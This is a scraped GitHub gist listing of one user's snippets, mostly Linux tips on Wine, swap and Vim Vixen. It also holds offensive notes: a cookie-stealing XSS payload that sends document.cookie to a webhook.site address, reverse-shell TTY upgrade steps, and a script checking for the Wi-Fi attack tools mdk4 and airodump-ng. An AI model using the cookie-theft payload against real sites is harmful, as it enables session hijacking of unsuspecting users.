Skip to content

Instantly share code, notes, and snippets.

View nghialuffy's full-sized avatar
🌎
The slave of knowledge

Lê Văn Nghĩa nghialuffy

🌎
The slave of knowledge
  • Danang University Science and Technology
  • Da Nang, VietNam
  • X @nghialuffy
View GitHub Profile
#!/bin/bash
# Check if mdk4 and airodump-ng are installed
if ! command -v mdk4 &>/dev/null; then
echo "mdk4 could not be found. Please install it and try again."
exit 1
fi
if ! command -v airodump-ng &>/dev/null; then
echo "airodump-ng could not be found. Please install it and try again."
@nghialuffy
nghialuffy / Run exe file in Ubuntu
Created January 20, 2024 08:21
Run exe file in Ubuntu
```
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
```
- Go to https://dl.winehq.org/wine/wine-mono/8.1.0/
- Download `wine-mono-8.1.0-x86.msi`
```
wine64 uninstall
@nghialuffy
nghialuffy / Vim Vixen.md
Last active September 23, 2023 14:45
Install Vim Vixen and fix an error
var xhttp = new XMLHttpRequest();
xhttp.open('GET', 'https://webhook.site/22bf9020-43c4-48c0-8d34-483347236b04/?' + document.cookie, true);
xhttp.send();
0. Got shell
1. Ctrl + Z
==== /bin/bash
2. stty raw -echo
3. fg
4. reset
5.
```
export SHELL=bash
@nghialuffy
nghialuffy / change-swappiness.sh
Last active February 27, 2023 10:07
How to increase swap space?
sudo sysctl vm.swappiness=50
## Change forever
> vi /etc/sysctl.conf
vm.swappiness=40
> sysctl -p